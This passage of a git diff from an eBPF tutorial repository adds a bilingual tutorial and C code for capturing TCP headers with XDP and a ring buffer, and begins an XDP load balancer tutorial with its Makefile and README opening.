Setting Up the eBPF Skeleton + +We use the generated skeleton `xdp-tcpdump.skel.h` to load and attach the eBPF program. + +```c +/* Open and load BPF application */ +skel = xdp_tcpdump_bpf__open(); +if (!skel) { + fprintf(stderr, "Failed to open BPF skeleton\n"); + return 1; +} + +/* Load & verify BPF programs */ +err = xdp_tcpdump_bpf__load(skel); +if (err) { + fprintf(stderr, "Failed to load and verify BPF skeleton: %d\n", err); + goto cleanup; +} +``` + +#### Attaching to the Network Interface + +We attach the XDP program to the specified network interface by name. + +```c +skel->links.xdp_pass = bpf_program__attach_xdp(skel->progs.xdp_pass, ifindex); +if (!skel->links.xdp_pass) { + err = -errno; + fprintf(stderr, "Failed to attach XDP program: %s\n", strerror(errno)); + goto cleanup; +} +``` + +## Compilation and Execution Instructions + +### Prerequisites + +- A Linux system with a kernel version that supports eBPF and XDP. +- libbpf library installed. +- Compiler with eBPF support (clang). + +### Building the Program + +Assuming you have cloned the repository from [GitHub](https://github.com/eunomia-bpf/bpf-developer-tutorial), navigate to the `bpf-developer-tutorial/src/41-xdp-tcpdump` directory. + +```bash +cd bpf-developer-tutorial/src/41-xdp-tcpdump +make +``` + +This command compiles both the kernel eBPF code and the user-space application. + +### Running the Program + +First, identify your network interfaces: + +```bash +ifconfig +``` + +Sample output: + +``` +wlp0s20f3: flags=4163 mtu 1500 + inet 192.168.1.10 netmask 255.255.255.0 broadcast 192.168.1.255 + ether 00:1a:2b:3c:4d:5e txqueuelen 1000 (Ethernet) +``` + +Run the user-space program with the desired network interface: + +```bash +sudo ./xdp-tcpdump wlp0s20f3 +``` + +Sample output: + +``` +Successfully attached XDP program to interface wlp0s20f3 +Start polling ring buffer +Captured TCP Header: + Source Port: 443 + Destination Port: 53500 + Sequence Number: 572012449 + Acknowledgment Number: 380198588 + Data Offset: 8 + Flags: 0x10 + Window Size: 16380 +``` + +### Complete Source Code and Resources + +- **Source Code Repository:** [GitHub - bpf-developer-tutorial](https://github.com/eunomia-bpf/bpf-developer-tutorial) +- **Tutorial Website:** [eunomia.dev Tutorials](https://eunomia.dev/tutorials/) + +## Summary and Conclusion + +In this tutorial, we explored how to use eBPF and XDP to capture TCP header information directly within the Linux kernel. By analyzing both the kernel eBPF code and the user-space application, we learned how to intercept packets, extract essential TCP fields, and communicate this data to user space efficiently using a ring buffer. + +This approach offers a high-performance alternative to traditional packet capturing methods, with minimal impact on system resources. It's a powerful technique for network monitoring, security analysis, and debugging. + +If you would like to learn more about eBPF, visit our tutorial code repository at or our website at . + +Happy coding! diff --git a/src/41-xdp-tcpdump/README.zh.md b/src/41-xdp-tcpdump/README.zh.md new file mode 100644 index 00000000..fc76a847 --- /dev/null +++ b/src/41-xdp-tcpdump/README.zh.md @@ -0,0 +1,509 @@ +# eBPF 示例教程:使用 XDP 捕获 TCP 信息 + +扩展伯克利包过滤器(eBPF)是 Linux 内核中的一项革命性技术,允许开发者在内核空间内运行沙箱程序。它提供了强大的网络、安全和跟踪能力,无需修改内核源代码或加载内核模块。本教程重点介绍如何使用 eBPF 结合 Express Data Path(XDP),在数据包进入时的最早阶段直接捕获 TCP 头信息。 + +## 使用 XDP 捕获 TCP 头信息 + +捕获网络数据包对于监控、调试和保护网络通信至关重要。传统工具如 `tcpdump` 在用户空间运行,可能会带来显著的开销。通过利用 eBPF 和 XDP,我们可以在内核中直接捕获 TCP 头信息,最小化开销并提高性能。 + +在本教程中,我们将开发一个 XDP 程序,该程序拦截传入的 TCP 数据包并提取其头信息。我们将这些数据存储在一个环形缓冲区中,用户空间的程序将读取并以可读的格式显示这些信息。 + +### 为什么使用 XDP 进行数据包捕获? + +XDP 是 Linux 内核中一个高性能的数据路径,允许在网络栈的最低层进行可编程的数据包处理。通过将 eBPF 程序附加到 XDP,我们可以在数据包到达时立即处理它们,减少延迟并提高效率。 + +## 内核 eBPF 代码分析 + +让我们深入了解捕获 TCP 头信息的内核空间 eBPF 代码。 + +### 完整的内核代码 + +```c +#include "vmlinux.h" +#include +#include + +#define ETH_P_IP 0x0800 + +// 定义环形缓冲区映射 +struct { + __uint(type, BPF_MAP_TYPE_RINGBUF); + __uint(max_entries, 1 << 24); // 16 MB 缓冲区 +} rb SEC(".maps"); + +// 检查数据包是否为 TCP 的辅助函数 +static bool is_tcp(struct ethhdr *eth, void *data_end) +{ + // 确保以太网头在边界内 + if ((void *)(eth + 1) > data_end) + return false; + + // 仅处理 IPv4 数据包 + if (bpf_ntohs(eth->h_proto) != ETH_P_IP) + return false; + + struct iphdr *ip = (struct iphdr *)(eth + 1); + + // 确保 IP 头在边界内 + if ((void *)(ip + 1) > data_end) + return false; + + // 检查协议是否为 TCP + if (ip->protocol != IPPROTO_TCP) + return false; + + return true; +} + +SEC("xdp") +int xdp_pass(struct xdp_md *ctx) +{ + // 数据包数据指针 + void *data = (void *)(long)ctx->data; + void *data_end = (void *)(long)ctx->data_end; + + // 解析以太网头 + struct ethhdr *eth = data; + + // 检查数据包是否为 TCP 数据包 + if (!is_tcp(eth, data_end)) { + return XDP_PASS; + } + + // 转换为 IP 头 + struct iphdr *ip = (struct iphdr *)(eth + 1); + + // 计算 IP 头长度 + int ip_hdr_len = ip->ihl * 4; + if (ip_hdr_len < sizeof(struct iphdr)) { + return XDP_PASS; + } + + // 确保 IP 头在数据包边界内 + if ((void *)ip + ip_hdr_len > data_end) { + return XDP_PASS; + } + + // 解析 TCP 头 + struct tcphdr *tcp = (struct tcphdr *)((unsigned char *)ip + ip_hdr_len); + + // 确保 TCP 头在数据包边界内 + if ((void *)(tcp + 1) > data_end) { + return XDP_PASS; + } + + // 定义要捕获的 TCP 头字节数 + const int tcp_header_bytes = 32; + + // 确保所需字节数不超过数据包边界 + if ((void *)tcp + tcp_header_bytes > data_end) { + return XDP_PASS; + } + + // 在环形缓冲区中预留空间 + void *ringbuf_space = bpf_ringbuf_reserve(&rb, tcp_header_bytes, 0); + if (!ringbuf_space) { + return XDP_PASS; // 如果预留失败,跳过处理 + } + + // 将 TCP 头字节复制到环形缓冲区 + // 使用循环以确保符合 eBPF 验证器要求 + for (int i = 0; i < tcp_header_bytes; i++) { + unsigned char byte = *((unsigned char *)tcp + i); + ((unsigned char *)ringbuf_space)[i] = byte; + } + + // 将数据提交到环形缓冲区 + bpf_ringbuf_submit(ringbuf_space, 0); + + // 可选:打印调试信息 + bpf_printk("Captured TCP header (%d bytes)", tcp_header_bytes); + + return XDP_PASS; +} + +char __license[] SEC("license") = "GPL"; +``` + +### 代码解释 + +#### 定义环形缓冲区映射 + +我们定义了一个名为 `rb` 的环形缓冲区映射,用于高效地将数据从内核传递到用户空间。 + +```c +struct { + __uint(type, BPF_MAP_TYPE_RINGBUF); + __uint(max_entries, 1 << 24); // 16 MB 缓冲区 +} rb SEC(".maps"); +``` + +#### 数据包解析与验证 + +`is_tcp` 辅助函数通过验证以太网和 IP 头,检查传入的数据包是否为 TCP 数据包。 + +```c +static bool is_tcp(struct ethhdr *eth, void *data_end) +{ + // ...(检查内容略) +} +``` + +#### 捕获 TCP 头信息 + +在 `xdp_pass` 函数中,我们: + +1. 解析以太网、IP 和 TCP 头。 +2. 确保所有头信息在数据包边界内,以防止无效内存访问。 +3. 在环形缓冲区中预留空间以存储 TCP 头。 +4. 将 TCP 头字节复制到环形缓冲区。 +5. 提交数据到环形缓冲区,供用户空间使用。 + +```c +// 在环形缓冲区中预留空间 +void *ringbuf_space = bpf_ringbuf_reserve(&rb, tcp_header_bytes, 0); +if (!ringbuf_space) { + return XDP_PASS; +} + +// 复制 TCP 头字节 +for (int i = 0; i < tcp_header_bytes; i++) { + unsigned char byte = *((unsigned char *)tcp + i); + ((unsigned char *)ringbuf_space)[i] = byte; +} + +// 提交到环形缓冲区 +bpf_ringbuf_submit(ringbuf_space, 0); +``` + +#### 使用 bpf_printk 进行调试 + +`bpf_printk` 函数将消息记录到内核的跟踪管道,对于调试非常有用。 + +```c +bpf_printk("Captured TCP header (%d bytes)", tcp_header_bytes); +``` + +## 用户空间代码分析 + +让我们查看用户空间程序,该程序从环形缓冲区中读取捕获的 TCP 头信息并显示。 + +### 完整的用户空间代码 + +```c +#include +#include +#include +#include +#include +#include + +#include +#include + +#include "xdp-tcpdump.skel.h" // 生成的骨架头文件 + +// 处理环形缓冲区事件的回调函数 +static int handle_event(void *ctx, void *data, size_t data_sz) +{ + if (data_sz < 20) { // 最小 TCP 头大小 + fprintf(stderr, "Received incomplete TCP header\n"); + return 0; + } + + // 解析原始 TCP 头字节 + struct tcphdr { + uint16_t source; + uint16_t dest; + uint32_t seq; + uint32_t ack_seq; + uint16_t res1:4, + doff:4, + fin:1, + syn:1, + rst:1, + psh:1, + ack:1, + urg:1, + ece:1, + cwr:1; + uint16_t window; + uint16_t check; + uint16_t urg_ptr; + // 可能还有选项和填充 + } __attribute__((packed)); + + if (data_sz < sizeof(struct tcphdr)) { + fprintf(stderr, "Data size (%zu) less than TCP header size\n", data_sz); + return 0; + } + + struct tcphdr *tcp = (struct tcphdr *)data; + + // 将字段从网络字节序转换为主机字节序 + uint16_t source_port = ntohs(tcp->source); + uint16_t dest_port = ntohs(tcp->dest); + uint32_t seq = ntohl(tcp->seq); + uint32_t ack_seq = ntohl(tcp->ack_seq); + uint16_t window = ntohs(tcp->window); + + // 提取标志位 + uint8_t flags = 0; + flags |= (tcp->fin) ? 0x01 : 0x00; + flags |= (tcp->syn) ? 0x02 : 0x00; + flags |= (tcp->rst) ? 0x04 : 0x00; + flags |= (tcp->psh) ? 0x08 : 0x00; + flags |= (tcp->ack) ? 0x10 : 0x00; + flags |= (tcp->urg) ? 0x20 : 0x00; + flags |= (tcp->ece) ? 0x40 : 0x00; + flags |= (tcp->cwr) ? 0x80 : 0x00; + + printf("Captured TCP Header:\n"); + printf(" 源端口: %u\n", source_port); + printf(" 目的端口: %u\n", dest_port); + printf(" 序列号: %u\n", seq); + printf(" 确认号: %u\n", ack_seq); + printf(" 数据偏移: %u\n", tcp->doff); + printf(" 标志位: 0x%02x\n", flags); + printf(" 窗口大小: %u\n", window); + printf("\n"); + + return 0; +} + +int main(int argc, char **argv) +{ + struct xdp_tcpdump_bpf *skel; + struct ring_buffer *rb = NULL; + int ifindex; + int err; + + if (argc != 2) + { + fprintf(stderr, "Usage: %s \n", argv[0]); + return 1; + } + + const char *ifname = argv[1]; + ifindex = if_nametoindex(ifname); + if (ifindex == 0) + { + fprintf(stderr, "Invalid interface name %s\n", ifname); + return 1; + } + + /* 打开并加载 BPF 应用 */ + skel = xdp_tcpdump_bpf__open(); + if (!skel) + { + fprintf(stderr, "Failed to open BPF skeleton\n"); + return 1; + } + + /* 加载并验证 BPF 程序 */ + err = xdp_tcpdump_bpf__load(skel); + if (err) + { + fprintf(stderr, "Failed to load and verify BPF skeleton: %d\n", err); + goto cleanup; + } + + /* 附加 XDP 程序 */ + err = xdp_tcpdump_bpf__attach(skel); + if (err) + { + fprintf(stderr, "Failed to attach BPF skeleton: %d\n", err); + goto cleanup; + } + + /* 将 XDP 程序附加到指定的接口 */ + skel->links.xdp_pass = bpf_program__attach_xdp(skel->progs.xdp_pass, ifindex); + if (!skel->links.xdp_pass) + { + err = -errno; + fprintf(stderr, "Failed to attach XDP program: %s\n", strerror(errno)); + goto cleanup; + } + + printf("成功将 XDP 程序附加到接口 %s\n", ifname); + + /* 设置环形缓冲区轮询 */ + rb = ring_buffer__new(bpf_map__fd(skel->maps.rb), handle_event, NULL, NULL); + if (!rb) + { + fprintf(stderr, "Failed to create ring buffer\n"); + err = -1; + goto cleanup; + } + + printf("开始轮询环形缓冲区\n"); + + /* 轮询环形缓冲区 */ + while (1) + { + err = ring_buffer__poll(rb, -1); + if (err == -EINTR) + continue; + if (err < 0) + { + fprintf(stderr, "Error polling ring buffer: %d\n", err); + break; + } + } + +cleanup: + ring_buffer__free(rb); + xdp_tcpdump_bpf__destroy(skel); + return -err; +} +``` + +### 代码解释 + +#### 处理环形缓冲区事件 + +`handle_event` 函数处理从环形缓冲区接收到的 TCP 头数据。 + +```c +static int handle_event(void *ctx, void *data, size_t data_sz) +{ + // 验证数据大小 + if (data_sz < 20) { + fprintf(stderr, "Received incomplete TCP header\n"); + return 0; + } + + // 解析 TCP 头 + // ...(解析代码) +} +``` + +#### 解析 TCP 头 + +我们定义了一个本地的 `tcphdr` 结构来解释原始字节。 + +```c +struct tcphdr { + uint16_t source; + uint16_t dest; + uint32_t seq; + uint32_t ack_seq; + // ...(其他字段) +} __attribute__((packed)); +``` + +#### 显示捕获的信息 + +解析后,我们以可读的格式打印 TCP 头字段。 + +```c +printf("Captured TCP Header:\n"); +printf(" 源端口: %u\n", source_port); +printf(" 目的端口: %u\n", dest_port); +// ...(其他字段) +``` + +#### 设置 eBPF 骨架 + +我们使用生成的骨架 `xdp-tcpdump.skel.h` 来加载和附加 eBPF 程序。 + +```c +/* 打开并加载 BPF 应用 */ +skel = xdp_tcpdump_bpf__open(); +if (!skel) { + fprintf(stderr, "Failed to open BPF skeleton\n"); + return 1; +} + +/* 加载并验证 BPF 程序 */ +err = xdp_tcpdump_bpf__load(skel); +if (err) { + fprintf(stderr, "Failed to load and verify BPF skeleton: %d\n", err); + goto cleanup; +} +``` + +#### 附加到网络接口 + +我们通过接口名称将 XDP 程序附加到指定的网络接口。 + +```c +/* 将 XDP 程序附加到指定的接口 */ +skel->links.xdp_pass = bpf_program__attach_xdp(skel->progs.xdp_pass, ifindex); +if (!skel->links.xdp_pass) { + err = -errno; + fprintf(stderr, "Failed to attach XDP program: %s\n", strerror(errno)); + goto cleanup; +} +``` + +## 编译和执行说明 + +### 前提条件 + +- 支持 eBPF 和 XDP 的 Linux 系统内核。 +- 安装了 libbpf 库。 +- 具有 eBPF 支持的编译器(如 clang)。 + +### 构建程序 + +假设您已从 [GitHub](https://github.com/eunomia-bpf/bpf-developer-tutorial) 克隆了仓库,请导航到 `bpf-developer-tutorial/src/41-xdp-tcpdump` 目录。 + +```bash +cd bpf-developer-tutorial/src/41-xdp-tcpdump +make +``` + +此命令将编译内核 eBPF 代码和用户空间应用程序。 + +### 运行程序 + +首先,识别您的网络接口: + +```bash +ifconfig +``` + +示例输出: + +``` +wlp0s20f3: flags=4163 mtu 1500 + inet 192.168.1.10 netmask 255.255.255.0 broadcast 192.168.1.255 + ether 00:1a:2b:3c:4d:5e txqueuelen 1000 (Ethernet) +``` + +使用所需的网络接口运行用户空间程序: + +```bash +sudo ./xdp-tcpdump wlp0s20f3 +``` + +示例输出: + +``` +成功将 XDP 程序附加到接口 wlp0s20f3 +开始轮询环形缓冲区 +Captured TCP Header: + 源端口: 443 + 目的端口: 53500 + 序列号: 572012449 + 确认号: 380198588 + 数据偏移: 8 + 标志位: 0x10 + 窗口大小: 16380 +``` + +### 完整的源代码和资源 + +- **源代码仓库:** [GitHub - bpf-developer-tutorial](https://github.com/eunomia-bpf/bpf-developer-tutorial) +- **教程网站:** [eunomia.dev Tutorials](https://eunomia.dev/tutorials/) + +## 总结与结论 + +在本教程中,我们探讨了如何使用 eBPF 和 XDP 在 Linux 内核中直接捕获 TCP 头信息。通过分析内核 eBPF 代码和用户空间应用程序,我们学习了如何拦截数据包、提取关键的 TCP 字段,并使用环形缓冲区高效地将这些数据传递到用户空间。 + +这种方法为传统的数据包捕获方法提供了一种高性能的替代方案,对系统资源的影响最小。它是网络监控、安全分析和调试的强大技术。 + +如果您想了解更多关于 eBPF 的内容,请访问我们的教程代码仓库 或我们的网站 + +编程愉快! \ No newline at end of file diff --git a/src/41-xdp-tcpdump/xdp-tcpdump.bpf.c b/src/41-xdp-tcpdump/xdp-tcpdump.bpf.c new file mode 100644 index 00000000..658a418a --- /dev/null +++ b/src/41-xdp-tcpdump/xdp-tcpdump.bpf.c @@ -0,0 +1,107 @@ +#include "vmlinux.h" +#include +#include + +#define ETH_P_IP 0x0800 + +// Define the ring buffer map +struct { + __uint(type, BPF_MAP_TYPE_RINGBUF); + __uint(max_entries, 1 << 24); // 16 MB buffer +} rb SEC(".maps"); + +// Helper function to check if the packet is TCP +static bool is_tcp(struct ethhdr *eth, void *data_end) +{ + // Ensure Ethernet header is within bounds + if ((void *)(eth + 1) > data_end) + return false; + + // Only handle IPv4 packets + if (bpf_ntohs(eth->h_proto) != ETH_P_IP) + return false; + + struct iphdr *ip = (struct iphdr *)(eth + 1); + + // Ensure IP header is within bounds + if ((void *)(ip + 1) > data_end) + return false; + + // Check if the protocol is TCP + if (ip->protocol != IPPROTO_TCP) + return false; + + return true; +} + +SEC("xdp") +int xdp_pass(struct xdp_md *ctx) +{ + // Pointers to packet data + void *data = (void *)(long)ctx->data; + void *data_end = (void *)(long)ctx->data_end; + + // Parse Ethernet header + struct ethhdr *eth = data; + + // Check if the packet is a TCP packet + if (!is_tcp(eth, data_end)) { + return XDP_PASS; + } + + // Cast to IP header + struct iphdr *ip = (struct iphdr *)(eth + 1); + + // Calculate IP header length + int ip_hdr_len = ip->ihl * 4; + if (ip_hdr_len < sizeof(struct iphdr)) { + return XDP_PASS; + } + + // Ensure IP header is within packet bounds + if ((void *)ip + ip_hdr_len > data_end) { + return XDP_PASS; + } + + // Parse TCP header + struct tcphdr *tcp = (struct tcphdr *)((unsigned char *)ip + ip_hdr_len); + + // Ensure TCP header is within packet bounds + if ((void *)(tcp + 1) > data_end) { + return XDP_PASS; + } + + // Define the number of bytes you want to capture from the TCP header + // Typically, the TCP header is 20 bytes, but with options, it can be longer + // Here, we'll capture the first 32 bytes to include possible options + const int tcp_header_bytes = 32; + + // Ensure that the desired number of bytes does not exceed packet bounds + if ((void *)tcp + tcp_header_bytes > data_end) { + return XDP_PASS; + } + + // Reserve space in the ring buffer + void *ringbuf_space = bpf_ringbuf_reserve(&rb, tcp_header_bytes, 0); + if (!ringbuf_space) { + return XDP_PASS; // If reservation fails, skip processing + } + + // Copy the TCP header bytes into the ring buffer + // Using a loop to ensure compliance with eBPF verifier + for (int i = 0; i < tcp_header_bytes; i++) { + // Accessing each byte safely within bounds + unsigned char byte = *((unsigned char *)tcp + i); + ((unsigned char *)ringbuf_space)[i] = byte; + } + + // Submit the data to the ring buffer + bpf_ringbuf_submit(ringbuf_space, 0); + + // Optional: Print a debug message (will appear in kernel logs) + bpf_printk("Captured TCP header (%d bytes)", tcp_header_bytes); + + return XDP_PASS; +} + +char __license[] SEC("license") = "GPL"; diff --git a/src/41-xdp-tcpdump/xdp-tcpdump.c b/src/41-xdp-tcpdump/xdp-tcpdump.c new file mode 100644 index 00000000..51ca3d5a --- /dev/null +++ b/src/41-xdp-tcpdump/xdp-tcpdump.c @@ -0,0 +1,166 @@ +#include +#include +#include +#include +#include +#include +#include + +#include +#include + +#include "xdp-tcpdump.skel.h" // Generated skeleton header + +// Callback function to handle events from the ring buffer +static int handle_event(void *ctx, void *data, size_t data_sz) +{ + if (data_sz < 20) { // Minimum TCP header size + fprintf(stderr, "Received incomplete TCP header\n"); + return 0; + } + + // Parse the raw TCP header bytes + struct tcphdr { + uint16_t source; + uint16_t dest; + uint32_t seq; + uint32_t ack_seq; + uint16_t res1:4, + doff:4, + fin:1, + syn:1, + rst:1, + psh:1, + ack:1, + urg:1, + ece:1, + cwr:1; + uint16_t window; + uint16_t check; + uint16_t urg_ptr; + // Options and padding may follow + } __attribute__((packed)); + + if (data_sz < sizeof(struct tcphdr)) { + fprintf(stderr, "Data size (%zu) less than TCP header size\n", data_sz); + return 0; + } + + struct tcphdr *tcp = (struct tcphdr *)data; + + // Convert fields from network byte order to host byte order + uint16_t source_port = ntohs(tcp->source); + uint16_t dest_port = ntohs(tcp->dest); + uint32_t seq = ntohl(tcp->seq); + uint32_t ack_seq = ntohl(tcp->ack_seq); + uint16_t window = ntohs(tcp->window); + + // Extract flags + uint8_t flags = 0; + flags |= (tcp->fin) ? 0x01 : 0x00; + flags |= (tcp->syn) ? 0x02 : 0x00; + flags |= (tcp->rst) ? 0x04 : 0x00; + flags |= (tcp->psh) ? 0x08 : 0x00; + flags |= (tcp->ack) ? 0x10 : 0x00; + flags |= (tcp->urg) ? 0x20 : 0x00; + flags |= (tcp->ece) ? 0x40 : 0x00; + flags |= (tcp->cwr) ? 0x80 : 0x00; + + printf("Captured TCP Header:\n"); + printf(" Source Port: %u\n", source_port); + printf(" Destination Port: %u\n", dest_port); + printf(" Sequence Number: %u\n", seq); + printf(" Acknowledgment Number: %u\n", ack_seq); + printf(" Data Offset: %u\n", tcp->doff); + printf(" Flags: 0x%02x\n", flags); + printf(" Window Size: %u\n", window); + printf("\n"); + + return 0; +} + +int main(int argc, char **argv) +{ + struct xdp_tcpdump_bpf *skel; + struct ring_buffer *rb = NULL; + int ifindex; + int err; + + if (argc != 2) + { + fprintf(stderr, "Usage: %s \n", argv[0]); + return 1; + } + + const char *ifname = argv[1]; + ifindex = if_nametoindex(ifname); + if (ifindex == 0) + { + fprintf(stderr, "Invalid interface name %s\n", ifname); + return 1; + } + + /* Open and load BPF application */ + skel = xdp_tcpdump_bpf__open(); + if (!skel) + { + fprintf(stderr, "Failed to open BPF skeleton\n"); + return 1; + } + + /* Load & verify BPF programs */ + err = xdp_tcpdump_bpf__load(skel); + if (err) + { + fprintf(stderr, "Failed to load and verify BPF skeleton: %d\n", err); + goto cleanup; + } + + /* Attach XDP program */ + err = xdp_tcpdump_bpf__attach(skel); + if (err) + { + fprintf(stderr, "Failed to attach BPF skeleton: %d\n", err); + goto cleanup; + } + + /* Attach the XDP program to the specified interface */ + skel->links.xdp_pass = bpf_program__attach_xdp(skel->progs.xdp_pass, ifindex); + if (!skel->links.xdp_pass) + { + err = -errno; + fprintf(stderr, "Failed to attach XDP program: %s\n", strerror(errno)); + goto cleanup; + } + + printf("Successfully attached XDP program to interface %s\n", ifname); + + /* Set up ring buffer polling */ + rb = ring_buffer__new(bpf_map__fd(skel->maps.rb), handle_event, NULL, NULL); + if (!rb) + { + fprintf(stderr, "Failed to create ring buffer\n"); + err = -1; + goto cleanup; + } + + printf("Start polling ring buffer\n"); + + /* Poll the ring buffer */ + while (1) + { + err = ring_buffer__poll(rb, -1); + if (err == -EINTR) + continue; + if (err < 0) + { + fprintf(stderr, "Error polling ring buffer: %d\n", err); + break; + } + } + +cleanup: + ring_buffer__free(rb); + xdp_tcpdump_bpf__destroy(skel); + return -err; +} diff --git a/src/42-xdp-loadbalancer/.config b/src/42-xdp-loadbalancer/.config new file mode 100644 index 00000000..12323e66 --- /dev/null +++ b/src/42-xdp-loadbalancer/.config @@ -0,0 +1,2 @@ +level=Depth +type=Networking diff --git a/src/42-xdp-loadbalancer/.gitignore b/src/42-xdp-loadbalancer/.gitignore new file mode 100644 index 00000000..c8a672eb --- /dev/null +++ b/src/42-xdp-loadbalancer/.gitignore @@ -0,0 +1,5 @@ +.output +uprobe +merge-btf +*.btf +xdp_lb diff --git a/src/42-xdp-loadbalancer/Makefile b/src/42-xdp-loadbalancer/Makefile new file mode 100644 index 00000000..5ae75ff3 --- /dev/null +++ b/src/42-xdp-loadbalancer/Makefile @@ -0,0 +1,141 @@ +# SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) +OUTPUT := .output +CLANG ?= clang +LIBBPF_SRC := $(abspath ../third_party/libbpf/src) +BPFTOOL_SRC := $(abspath ../third_party/bpftool/src) +LIBBPF_OBJ := $(abspath $(OUTPUT)/libbpf.a) +BPFTOOL_OUTPUT ?= $(abspath $(OUTPUT)/bpftool) +BPFTOOL ?= $(BPFTOOL_OUTPUT)/bootstrap/bpftool +LIBBLAZESYM_SRC := $(abspath ../third_party/blazesym/) +LIBBLAZESYM_OBJ := $(abspath $(OUTPUT)/libblazesym.a) +LIBBLAZESYM_HEADER := $(abspath $(OUTPUT)/blazesym.h) +ARCH ?= $(shell uname -m | sed 's/x86_64/x86/' \ + | sed 's/arm.*/arm/' \ + | sed 's/aarch64/arm64/' \ + | sed 's/ppc64le/powerpc/' \ + | sed 's/mips.*/mips/' \ + | sed 's/riscv64/riscv/' \ + | sed 's/loongarch64/loongarch/') +VMLINUX := ../third_party/vmlinux/$(ARCH)/vmlinux.h +# Use our own libbpf API headers and Linux UAPI headers distributed with +# libbpf to avoid dependency on system-wide headers, which could be missing or +# outdated +INCLUDES := -I$(OUTPUT) -I../third_party/libbpf/include/uapi -I$(dir $(VMLINUX)) +CFLAGS := -g -Wall +ALL_LDFLAGS := $(LDFLAGS) $(EXTRA_LDFLAGS) + +APPS = xdp_lb + +CARGO ?= $(shell which cargo) +ifeq ($(strip $(CARGO)),) +BZS_APPS := +else +BZS_APPS := +APPS += $(BZS_APPS) +# Required by libblazesym +ALL_LDFLAGS += -lrt -ldl -lpthread -lm +endif + +# Get Clang's default includes on this system. We'll explicitly add these dirs +# to the includes list when compiling with `-target bpf` because otherwise some +# architecture-specific dirs will be "missing" on some architectures/distros - +# headers such as asm/types.h, asm/byteorder.h, asm/socket.h, asm/sockios.h, +# sys/cdefs.h etc. might be missing. +# +# Use '-idirafter': Don't interfere with include mechanics except where the +# build would have failed anyways. +CLANG_BPF_SYS_INCLUDES ?= $(shell $(CLANG) -v -E - &1 \ + | sed -n '/<...> search starts here:/,/End of search list./{ s| \(/.*\)|-idirafter \1|p }') + +ifeq ($(V),1) + Q = + msg = +else + Q = @ + msg = @printf ' %-8s %s%s\n' \ + "$(1)" \ + "$(patsubst $(abspath $(OUTPUT))/%,%,$(2))" \ + "$(if $(3), $(3))"; + MAKEFLAGS += --no-print-directory +endif + +define allow-override + $(if $(or $(findstring environment,$(origin $(1))),\ + $(findstring command line,$(origin $(1)))),,\ + $(eval $(1) = $(2))) +endef + +$(call allow-override,CC,$(CROSS_COMPILE)cc) +$(call allow-override,LD,$(CROSS_COMPILE)ld) + +.PHONY: all +all: $(APPS) + +.PHONY: clean +clean: + $(call msg,CLEAN) + $(Q)rm -rf $(OUTPUT) $(APPS) + +$(OUTPUT) $(OUTPUT)/libbpf $(BPFTOOL_OUTPUT): + $(call msg,MKDIR,$@) + $(Q)mkdir -p $@ + +# Build libbpf +$(LIBBPF_OBJ): $(wildcard $(LIBBPF_SRC)/*.[ch] $(LIBBPF_SRC)/Makefile) | $(OUTPUT)/libbpf + $(call msg,LIB,$@) + $(Q)$(MAKE) -C $(LIBBPF_SRC) BUILD_STATIC_ONLY=1 \ + OBJDIR=$(dir $@)/libbpf DESTDIR=$(dir $@) \ + INCLUDEDIR= LIBDIR= UAPIDIR= \ + install + +# Build bpftool +$(BPFTOOL): | $(BPFTOOL_OUTPUT) + $(call msg,BPFTOOL,$@) + $(Q)$(MAKE) ARCH= CROSS_COMPILE= OUTPUT=$(BPFTOOL_OUTPUT)/ -C $(BPFTOOL_SRC) bootstrap + + +$(LIBBLAZESYM_SRC)/target/release/libblazesym.a:: + $(Q)cd $(LIBBLAZESYM_SRC) && $(CARGO) build --features=cheader,dont-generate-test-files --release + +$(LIBBLAZESYM_OBJ): $(LIBBLAZESYM_SRC)/target/release/libblazesym.a | $(OUTPUT) + $(call msg,LIB, $@) + $(Q)cp $(LIBBLAZESYM_SRC)/target/release/libblazesym.a $@ + +$(LIBBLAZESYM_HEADER): $(LIBBLAZESYM_SRC)/target/release/libblazesym.a | $(OUTPUT) + $(call msg,LIB,$@) + $(Q)cp $(LIBBLAZESYM_SRC)/target/release/blazesym.h $@ + +# Build BPF code +$(OUTPUT)/%.bpf.o: %.bpf.c $(LIBBPF_OBJ) $(wildcard %.h) $(VMLINUX) | $(OUTPUT) $(BPFTOOL) + $(call msg,BPF,$@) + $(Q)$(CLANG) -g -O2 -target bpf -D__TARGET_ARCH_$(ARCH) \ + $(INCLUDES) $(CLANG_BPF_SYS_INCLUDES) \ + -c $(filter %.c,$^) -o $(patsubst %.bpf.o,%.tmp.bpf.o,$@) + $(Q)$(BPFTOOL) gen object $@ $(patsubst %.bpf.o,%.tmp.bpf.o,$@) + +# Generate BPF skeletons +$(OUTPUT)/%.skel.h: $(OUTPUT)/%.bpf.o | $(OUTPUT) $(BPFTOOL) + $(call msg,GEN-SKEL,$@) + $(Q)$(BPFTOOL) gen skeleton $< > $@ + +# Build user-space code +$(patsubst %,$(OUTPUT)/%.o,$(APPS)): %.o: %.skel.h + +$(OUTPUT)/%.o: %.c $(wildcard %.h) | $(OUTPUT) + $(call msg,CC,$@) + $(Q)$(CC) $(CFLAGS) $(INCLUDES) -c $(filter %.c,$^) -o $@ + +$(patsubst %,$(OUTPUT)/%.o,$(BZS_APPS)): $(LIBBLAZESYM_HEADER) + +$(BZS_APPS): $(LIBBLAZESYM_OBJ) + +# Build application binary +$(APPS): %: $(OUTPUT)/%.o $(LIBBPF_OBJ) | $(OUTPUT) + $(call msg,BINARY,$@) + $(Q)$(CC) $(CFLAGS) $^ $(ALL_LDFLAGS) -lelf -lz -o $@ + +# delete failed targets +.DELETE_ON_ERROR: + +# keep intermediate (.skel.h, .bpf.o, etc) targets +.SECONDARY: diff --git a/src/42-xdp-loadbalancer/README.md b/src/42-xdp-loadbalancer/README.md new file mode 100644 index 00000000..12dc686e --- /dev/null +++ b/src/42-xdp-loadbalancer/README.md @@ -0,0 +1,533 @@ + +# eBPF Developer Tutorial: XDP Load Balancer + +In this tutorial, we will guide you through the process of implementing a simple XDP (eXpress Data Path) load balancer using eBPF (Extended Berkeley Packet Filter). With just C, libbpf, and no external dependencies, this hands-on guide is perfect for developers interested in harnessing the full power of the Linux kernel to build highly efficient network applications. + +> The complete source code: + +## Why XDP? + +`XDP` (eXpress Data Path) is a fast, in-kernel networking framework in Linux that allows packet processing at the earliest point in the network stack, right in the network interface card (NIC). This enables ultra-low-latency and high-throughput packet handling, making XDP ideal for tasks like load balancing, DDoS protection, and traffic filtering. + +Key Features of XDP + +1. **Fast Packet Processing**: XDP handles packets directly at the NIC level, reducing latency and improving performance by avoiding the usual networking stack 